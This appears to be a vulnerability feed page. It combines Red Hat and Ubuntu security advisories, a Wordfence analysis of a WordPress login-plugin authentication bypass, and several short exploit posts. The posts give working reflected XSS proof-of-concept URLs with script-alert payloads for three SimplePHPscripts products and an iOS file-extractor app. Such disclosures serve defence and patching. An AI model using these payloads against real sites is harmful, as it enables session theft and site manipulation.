Red Hat Security Advisory 2023-3946-01 - The Open Virtual Machine Tools are the open source implementation of the VMware Tools. They are a set of guest operating system virtualization components that enhance performance and user experience of virtual machines. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Low: open-vm-tools security update  
Advisory ID:       RHSA-2023:3946-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:3946  
Issue date:        2023-06-29  
CVE Names:         CVE-2023-20867   
=====================================================================

1. Summary:

An update for open-vm-tools is now available for Red Hat Enterprise Linux  
8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4  
Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update  
Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact  
of Low. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream AUS (v.8.4) - x86_64  
Red Hat Enterprise Linux AppStream E4S (v.8.4) - x86_64  
Red Hat Enterprise Linux AppStream TUS (v.8.4) - x86_64

3. Description:

The Open Virtual Machine Tools are the open source implementation of the  
VMware Tools. They are a set of guest operating system virtualization  
components that enhance performance and user experience of virtual  
machines.

Security Fix(es):

* open-vm-tools: authentication bypass vulnerability in the vgauth module  
(CVE-2023-20867)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2213087 - CVE-2023-20867 open-vm-tools: authentication bypass vulnerability in the vgauth module

6. Package List:

Red Hat Enterprise Linux AppStream AUS (v.8.4):

Source:  
open-vm-tools-11.2.0-2.el8_4.2.src.rpm

x86_64:  
open-vm-tools-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-debugsource-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-desktop-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-desktop-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-sdmp-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-sdmp-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-test-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm

Red Hat Enterprise Linux AppStream E4S (v.8.4):

Source:  
open-vm-tools-11.2.0-2.el8_4.2.src.rpm

x86_64:  
open-vm-tools-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-debugsource-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-desktop-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-desktop-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-sdmp-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-sdmp-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-test-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm

Red Hat Enterprise Linux AppStream TUS (v.8.4):

Source:  
open-vm-tools-11.2.0-2.el8_4.2.src.rpm

x86_64:  
open-vm-tools-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-debugsource-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-desktop-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-desktop-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-sdmp-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-sdmp-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm  
open-vm-tools-test-debuginfo-11.2.0-2.el8_4.2.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-20867  
https://access.redhat.com/security/updates/classification/#low

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBZJ2oetzjgjWX9erEAQjERQ//bNp2+JTE7SCDT32eGIlv9X5I0wmotK51  
UrKrQBwmr5G0In0W7LdZ4mm3CwHxPzI4XZO0Ppod1br57/J9rXp/IJ/hSxsq6zHz  
wz8kJts5Wjba0zVaaKpXFpv2isEzn12yeViqKlZe4Mw2d9VgoAi/rrNx2Bb+/FRR  
BPsAQhmIbzvwZe1fOWC5ibpjcEmAEX3Xwb33jENMR4wkFna8fB4SVFxlW9w5LKkc  
4vDubNzt/cqmflAIisy1wSC11dXYeLTHEOKK1hf2fIwz7MmFYNLBQnYTitxrgixH  
ALoJSDMcK5EKvo1QoW94eluaTrJbvqHDjzfIQLvGfXTHs4a/HEfJOfNYlRp9pv/O  
UsdXcMPN0PZMSpg+BkgK3M00pFDbrLIk9vxT8KqtI4uz+hP60+Rmm40l5iJJN3eQ  
CMtTLJHLCJaRfCuiYrXY079M/8dp0YxQtsj1+rb5EwloiOmHJ3GxCUTdf36NJYNn  
yrP++bneFUYGyDiwp6Wy2F45YgPS/vAEzUWawg3rS8NmKhg4ir9lKtmPs3J6RuJ3  
fBbQUwOnWObzHk2GKHH3cinEyU/W6AgK2roEKvm+tqw+mYdmKU0HPOSJKi7x+sLz  
7pn1ARIw/zEJImnIqAlsrC/y5f8KbQWUJ7szxVG8XV9Eht5MlpfyQ+kb9Lhuf5Bo  
xv1Q7tNgGQQ=  
=+k83  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-3946-01

Ubuntu Security Notice 6189-1 - It was discovered that etcd leaked credentials when debugging was enabled. This allowed remote attackers to discover etcd authentication credentials and possibly escalate privileges on systems using etcd.

==========================================================================  
Ubuntu Security Notice USN-6189-1  
June 28, 2023

etcd vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.04  
- Ubuntu 22.10

Summary:

etcd could be made to expose sensitive information over the  
network.

Software Description:  
- etcd: highly-available key value store -- client

Details:

It was discovered that etcd leaked credentials when debugging  
was enabled. This allowed remote attackers to discover etcd   
authentication credentials and possibly escalate privileges on  
systems using etcd.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 23.04:  
etcd-client 3.4.23-4ubuntu0.1  
etcd-server 3.4.23-4ubuntu0.1

Ubuntu 22.10:  
etcd-client 3.3.25+dfsg-7ubuntu0.22.10.2  
etcd-server 3.3.25+dfsg-7ubuntu0.22.10.2

In general, a standard system update will make all the necessary changes.

References:  
https://ubuntu.com/security/notices/USN-6189-1  
CVE-2021-28235

Package Information:  
https://launchpad.net/ubuntu/+source/etcd/3.4.23-4ubuntu0.1  
https://launchpad.net/ubuntu/+source/etcd/3.3.25+dfsg-7ubuntu0.22.10.2

Ubuntu Security Notice USN-6189-1

NewsLetter Script version 2.4 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://simplephpscripts.com/newsletter-script-php/                        ││  Vendor   : SimplePHPscripts                                                           ││  Software : NewsLetter Script 2.4                                                      ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpURL parameter is vulnerable to RXSShttps://website/preview.php/tb0g5"><script>alert(1)</script>kp1ea?cat_id=4[-] Done

NewsLetter Script 2.4 Cross Site Scripting

Red Hat Security Advisory 2023-3885-01 - Red Hat Single Sign-On 7.6 is a standalone server, based on the Keycloak project, that provides authentication and standards-based single sign-on capabilities for web and mobile applications. This release of Red Hat Single Sign-On 7.6.4 on RHEL 9 serves as a replacement for Red Hat Single Sign-On 7.6.3, and includes bug fixes and enhancements, which are documented in the Release Notes document linked to in the References. Issues addressed include a cross site scripting vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: Red Hat Single Sign-On 7.6.4 security update on RHEL 9  
Advisory ID:       RHSA-2023:3885-01  
Product:           Red Hat Single Sign-On  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:3885  
Issue date:        2023-06-27  
CVE Names:         CVE-2022-4361 CVE-2023-1108 CVE-2023-1664   
                   CVE-2023-2422 CVE-2023-2585   
=====================================================================

1. Summary:

New Red Hat Single Sign-On 7.6.4 packages are now available for Red Hat  
Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Single Sign-On 7.6 for RHEL 9 - noarch

3. Description:

Red Hat Single Sign-On 7.6 is a standalone server, based on the Keycloak  
project, that provides authentication and standards-based single sign-on  
capabilities for web and mobile applications.

This release of Red Hat Single Sign-On 7.6.4 on RHEL 9 serves as a  
replacement for Red Hat Single Sign-On 7.6.3, and includes bug fixes and  
enhancements, which are documented in the Release Notes document linked to  
in the References.

Security Fix(es):

* keycloak: Cross-site scripting when validating URI-schemes on SAML and  
OIDC (CVE-2022-4361)

* undertow: Infinite loop in SslConduit during close (CVE-2023-1108)

* keycloak: oauth client impersonation (CVE-2023-2422)

* keycloak: Untrusted Certificate Validation (CVE-2023-1664)

* keycloak: client access via device auth request spoof (CVE-2023-2585)

For more details about the security issue(s), including the impact, a CVSS  
score, and other related information, refer to the CVE page(s) listed in  
the References section.

4. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2151618 - CVE-2022-4361 Keycloak | RHSSO: XSS due to lax URI scheme validation  
2174246 - CVE-2023-1108 Undertow: Infinite loop in SslConduit during close  
2182196 - CVE-2023-1664 keycloak: Untrusted Certificate Validation  
2191668 - CVE-2023-2422 keycloak: oauth client impersonation  
2196335 - CVE-2023-2585 keycloak: client access via device auth request spoof

6. Package List:

Red Hat Single Sign-On 7.6 for RHEL 9:

Source:  
rh-sso7-keycloak-18.0.8-1.redhat_00001.1.el9sso.src.rpm

noarch:  
rh-sso7-keycloak-18.0.8-1.redhat_00001.1.el9sso.noarch.rpm  
rh-sso7-keycloak-server-18.0.8-1.redhat_00001.1.el9sso.noarch.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-4361  
https://access.redhat.com/security/cve/CVE-2023-1108  
https://access.redhat.com/security/cve/CVE-2023-1664  
https://access.redhat.com/security/cve/CVE-2023-2422  
https://access.redhat.com/security/cve/CVE-2023-2585  
https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/articles/11258

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBZJtZztzjgjWX9erEAQjeQQ/8CQn1wk1u2E7anYq+jjzC83Dr7yd6ePLw  
ZKwmFO7hFeP6e9Vpxo26pQ6MSMBdRDSWdO8evS6VcH8fE3D2Xg2hoqDeF5mqbDlx  
aDILyQfea9922X7038j3zPKFXzmQE78jqteFgQatwL3niG1o9JSKYpuNmZoX594x  
x+BAMSbHjmnvCbgc+IdbWLi0egWLKphjuquXrJMGdIsROcpmT4rdhthb4Nw6rpNf  
pI9wxPkBXPNL711X7dR0GOvb7fQTrgcK0LLE3BQtwDyLXLu4DW1rGLB6C9TnCITi  
pXjGWh8sGA9JEFUbRf/1FEZm2tTcggaEhWwUwM+IrKbYSLYfpZdlJWreP6RkSUaI  
Y/cEtGbt2bUwN37TtInd8QHKGlWoWHpYjKWQiQADtyirvnZAI54Mdz7hpk/kRJyJ  
Nn374WNZuSeaMKewLMLr40zkWgROnj+drj0DjTM29mZkhs/PcPNSuZWNBxoiBwMg  
jorkQ3e4RzgYdrrqehiFfh2tcKOjud+Iy2X5j3k7ACQ3Y1b35FmUl1WkX4xr1lcm  
JytPdFMtuc7IykZX9vVEvfadCSRGSAy/6jJTJsIA41wmPBaZARN75LPFaVTReKIR  
2i3azgTnN1XNps/+YAu3DKBsRnJRPkbzKE4WHWbW4XmV4UU/cdqgcBki8NLTqqV/  
3zMnfahNkfs=  
=qCpB  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-3885-01

Simple Forum version 2.7 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://simplephpscripts.com/simple-forum-php/                             ││  Vendor   : SimplePHPscripts                                                           ││  Software : Simple Forum 2.7                                                           ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpURL parameter is vulnerable to RXSShttps://website/preview.php/g63ed"><script>alert(1)</script>e1nm2?act=new&cat_id=Path: /preview.phpGET 'p' parameter is vulnerable to RXSShttps://website/preview.php?p=b35ek%22%3e%3cscript%3ealert(1)%3c%2fscript%3eqr2hm&cat_id=&ordType=ASC&ordBy=publish_date[-] Done

Simple Forum 2.7 Cross Site Scripting

Red Hat Security Advisory 2023-3892-01 - Red Hat Single Sign-On 7.6 is a standalone server, based on the Keycloak project, that provides authentication and standards-based single sign-on capabilities for web and mobile applications. This release of Red Hat Single Sign-On 7.6.4 serves as a replacement for Red Hat Single Sign-On 7.6.3, and includes bug fixes and enhancements, which are documented in the Release Notes document linked to in the References. Issues addressed include code execution, cross site scripting, and deserialization vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: Red Hat Single Sign-On 7.6.4 security update  
Advisory ID:       RHSA-2023:3892-01  
Product:           Red Hat Single Sign-On  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:3892  
Issue date:        2023-06-27  
CVE Names:         CVE-2021-39144 CVE-2022-4361 CVE-2023-1108   
                   CVE-2023-1664 CVE-2023-2422 CVE-2023-2585   
=====================================================================

1. Summary:

A security update is now available for Red Hat Single Sign-On 7.6 from the  
Customer Portal.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

Red Hat Single Sign-On 7.6 is a standalone server, based on the Keycloak  
project, that provides authentication and standards-based single sign-on  
capabilities for web and mobile applications.

This release of Red Hat Single Sign-On 7.6.4 serves as a replacement for  
Red Hat Single Sign-On 7.6.3, and includes bug fixes and enhancements,  
which are documented in the Release Notes document linked to in the  
References.

Security Fix(es):

* keycloak: Cross-site scripting when validating URI-schemes on SAML and  
OIDC (CVE-2022-4361)

* keycloak: oauth client impersonation (CVE-2023-2422)

* keycloak: Untrusted Certificate Validation (CVE-2023-1664)

* undertow: Infinite loop in SslConduit during close (CVE-2023-1108)

* keycloak: client access via device auth request spoof (CVE-2023-2585)

* xstream: Arbitrary code execution via unsafe deserialization of  
sun.tracing.* (CVE-2021-39144)

For more details about the security issue(s), including the impact, a CVSS  
score, and other related information, refer to the CVE page(s) listed in  
the References section.

3. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

1997772 - CVE-2021-39144 xstream: Arbitrary code execution via unsafe deserialization of sun.tracing.*  
2151618 - CVE-2022-4361 Keycloak | RHSSO: XSS due to lax URI scheme validation  
2174246 - CVE-2023-1108 Undertow: Infinite loop in SslConduit during close  
2182196 - CVE-2023-1664 keycloak: Untrusted Certificate Validation  
2191668 - CVE-2023-2422 keycloak: oauth client impersonation  
2196335 - CVE-2023-2585 keycloak: client access via device auth request spoof

5. References:

https://access.redhat.com/security/cve/CVE-2021-39144  
https://access.redhat.com/security/cve/CVE-2022-4361  
https://access.redhat.com/security/cve/CVE-2023-1108  
https://access.redhat.com/security/cve/CVE-2023-1664  
https://access.redhat.com/security/cve/CVE-2023-2422  
https://access.redhat.com/security/cve/CVE-2023-2585  
https://access.redhat.com/security/updates/classification/#important

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBZJtZltzjgjWX9erEAQjp7w/+PVnQj3iscLy7t8uh2ALC/EOE+uD+oOZl  
sDUfI7n5uPLq1NidzM2PL7jc1fEIYHVZfU8siqOZCkKXkb+QG0rxliynGbggvQCW  
KpcgN6kFk94nF9h1TGGdXAvo+POj3dWy98Vl6+i2lwYWro3WeWl+Szayr8FjNXPp  
0dS6hAQQt889edUgYj5s2tpSfaYQNqLhKNNnjyJKrWr8k3qpc+Va1A/i2eXeXDdr  
O6esc6NE4apHmKFc9rWMSlct8Yzi37K+dCybjgI+u93tOwB8N4DWtBun27DagQYB  
Cc3GTgWyczMSKBNi6e9C86VvJ1c5jvAQ5DIJ1ez+OO41D6qQkhwtg8WG7GIF/MFH  
LcdOfk4arzEsVd1G5vkU/tiGRUChUeyu9xm7k57M/454qP5AmDUdPQSvgqmgWwBM  
cwKx0YkxMl5qSRSVDxEjD9CzcfDz6b+YvTxaFb8C3IRUhYwsuoy7kdMJ8vuY6rj0  
IDAJ7zC1sVb5FKR4E23Fp9Ma7M0+lUV87Y3UF1fE1pswQQ/aJu2q3k+N5PLM+9A7  
q2ZhNEic6CBU8DoRBeU/JVM8j+bEgM17Bf98A1rebQdfLQ8Dd2sF7ngEuO7dLGgD  
LNqaHScdEl14Nq6xAUV5VmjKq+k4n+nWfl20aFddDH9b1afhlmAR55SNvK75Eud3  
prjQ1em3Iw8=  
=qI1p  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-3892-01

Simple Blog version 3.2 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://simplephpscripts.com/simple-blog-php/                              ││  Vendor   : SimplePHPscripts                                                           ││  Software : Simple Blog 3.2                                                            ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpURL parameter is vulnerable to RXSShttps://website/preview.php/bxsfz"><script>alert(1)</script>tkwni?p=2&cat_id=&search=Path: /preview.phpGET 'SysMessage' parameter is vulnerable to RXSShttps://website/preview.php?pid=59&p=&search=&cat_id=&SysMessage=uyd1u%3cscript%3ealert(1)%3c%2fscript%3ey6sfb[-] Done

Simple Blog 3.2 Cross Site Scripting

Ubuntu Security Notice 6190-1 - Kevin Backhouse discovered that AccountsService incorrectly handled certain D-Bus messages. A local attacker could use this issue to cause AccountsService to crash, resulting in a denial of service, or possibly execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-6190-1  
June 28, 2023

accountsservice vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.04  
- Ubuntu 22.10  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS

Summary:

AccountsService could be made to crash or run programs if it received  
specially crafted messages.

Software Description:  
- accountsservice: query and manipulate user account information

Details:

Kevin Backhouse discovered that AccountsService incorrectly handled certain  
D-Bus messages. A local attacker could use this issue to cause  
AccountsService to crash, resulting in a denial of service, or possibly  
execute arbitrary code.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 23.04:  
   accountsservice                 22.08.8-1ubuntu7.1  
   libaccountsservice0             22.08.8-1ubuntu7.1

Ubuntu 22.10:  
   accountsservice                 22.08.8-1ubuntu1.1  
   libaccountsservice0             22.08.8-1ubuntu1.1

Ubuntu 22.04 LTS:  
   accountsservice                 22.07.5-2ubuntu1.4  
   libaccountsservice0             22.07.5-2ubuntu1.4

Ubuntu 20.04 LTS:  
   accountsservice                 0.6.55-0ubuntu12~20.04.6  
   libaccountsservice0             0.6.55-0ubuntu12~20.04.6

After a standard system update you need to reboot your computer to make all  
the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6190-1  
   CVE-2023-3297

Package Information:  
   https://launchpad.net/ubuntu/+source/accountsservice/22.08.8-1ubuntu7.1  
   https://launchpad.net/ubuntu/+source/accountsservice/22.08.8-1ubuntu1.1  
   https://launchpad.net/ubuntu/+source/accountsservice/22.07.5-2ubuntu1.4  
   https://launchpad.net/ubuntu/+source/accountsservice/0.6.55-0ubuntu12~20.04.6

Ubuntu Security Notice USN-6190-1

Zip and RAR FileExtractor version 5.7 suffers from a cross site scripting vulnerability.

    # Exploit Title: Zip & RAR FileExtractor  v5.7 - Reflected XSS# Vendor Homepage: Penghui Zhao# Software Link: https://apps.apple.com/tr/app/zip-rar-file-extractor/id769409043?l=en# Date: 2023-06-20# Exploit Author: tmrswrr# Category : ios app# Version: v5.7# Tested on: Windows/Linux## Description:>> Go to Wi-Fi Transfer section in zip rar file extractor app>> It will be create link : 192.168.1.104:8080>> When open link your browser , write payload, xss payload execute page and see alert buttonUrl: http://192.168.1.104:8080/download?path=%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3EPayload: %22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3E

Zip And RAR FileExtractor 5.7 Cross Site Scripting

WordPress Social Login and Register plugin versions 7.6.4 and below suffer from an authentication bypass vulnerability.

    Description: WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) <= 7.6.4 – Authentication Bypass Affected Plugin: WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn)Plugin Slug: woocommerce-abandoned-cartAffected Versions: <= 7.6.4CVE ID: CVE-2023-2982CVSS Score: 9.8 (Critical)CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HResearcher/s: Lana Codes Fully Patched Version: 7.6.5The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.Technical AnalysisThe WordPress Social Login and Register plugin, according to its settings, provides the ability for users to login to a WordPress website using a social login through various popular social media platforms and service providers. Examining the code reveals that there is a case with custom apps, where the data is sent encrypted during the login process. The data required for login must be decrypted using the secret key at the request.[View this code snippet on the blog]  While encrypting this information would normally provide protection against manipulating the request and prevent identity spoofing, we unfortunately found that the encryption key is hardcoded in vulnerable versions of the plugin, which means that threat actors also had access to the key which was not unique per WordPress installation. This makes it possible for attackers to craft a valid request containing a properly encrypted email address which vulnerable versions of the plugin use during the login process to determine the user.Ultimately, this makes it possible for threat actors to bypass authentication and gain access to arbitrary accounts on sites running a vulnerable version of the plugin. As always, authentication bypass vulnerabilities and resulting access to high privileged user accounts, make it easy for threat actors to completely compromise a vulnerable WordPress site and further infect the victim.Disclosure TimelineMay 28, 2023 – Discovery of the Authentication Bypass vulnerability in WordPress Social Login and Register.May 30, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion.June 2, 2023 – The vendor confirms the inbox for handling the discussion.June 2, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix.June 2, 2023 – Wordfence Premium, Care, and Response users receive a firewall rule to provide protection against any exploits that may target this vulnerability. Please note we delayed the firewall rule to prevent completely breaking the plugin’s core functionality.June 14, 2023 – A fully patched version of the plugin, 7.6.5, is released.July 2, 2023 – Wordfence Free users receive the same protection.ConclusionIn this blog post, we have detailed an Authentication Bypass vulnerability within the WordPress Social Login and Register plugin affecting versions 7.6.4 and earlier. This vulnerability allows threat actors to bypass authentication and gain access to the accounts of users who have abandoned their carts. The vulnerability has been fully addressed in version 7.6.5 of the plugin.We encourage WordPress users to verify that their sites are updated to the latest patched version of WordPress Social Login and Register as soon as possible.Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on June 2, 2023. Sites still using the free version of Wordfence will receive the same protection on July 2, 2023.If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard.

Source

Packet Storm